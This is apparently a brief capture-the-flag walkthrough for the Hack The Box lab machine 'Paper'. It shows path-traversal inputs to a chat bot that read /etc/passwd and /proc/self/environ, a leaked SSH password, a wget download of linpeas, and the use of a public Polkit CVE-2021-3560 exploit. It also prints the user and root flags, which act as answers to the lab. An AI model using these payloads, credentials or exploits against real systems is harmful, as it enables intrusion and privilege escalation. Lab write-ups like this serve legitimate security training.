# [Hack The Box] HTB—Paper

## 1. Information gathering

Let's begin by scanning


Useful informations on port 22, 80 and 443. The rest are filtered ports!

Let's check the hostname of the webserver through the response header

$curl -I http://10.10.11.143


Let's map this hostname in `/etc/hosts` file and try to access the web server

#/etc/hosts

10.10.11.143 office.paper

## 2. Website exploitation

Let's open the website now


[Penetration Testing kit Add on](https://addons.mozilla.org/en-US/firefox/addon/penetration-testing-kit/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search) provided more details on its Tech Stack and many more.


Well, a new host!


Let's add it too

#/etc/hosts

10.10.11.143 office.paper
10.10.11.143 chat.office.paper

Let's access it now


Let's create an account and login


recyclops file ../../../../../etc/passwd


recyclops file ../../../../../proc/self/environ


dwight/Queenofblad3s!23

Let's use this creds to have an ssh session on the system

ssh dwight@10.10.11.143

one, two, three catched the user flag


user flag:`0edf5f0f21681b3ccefb4151bd9e1eb3`

## 3. Privileges Escalation

Let's download and execute our favorite Linux priviliges escalation tool

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64

Catched Polkit CVE

CVE-2021-3560 poc
https://github.com/Almorabea/Polkit-exploit

Download and run the exploit on the machine


Got the root flag :100:

root flag: `f48bd0125f4411b932f0697bc8f4dff7`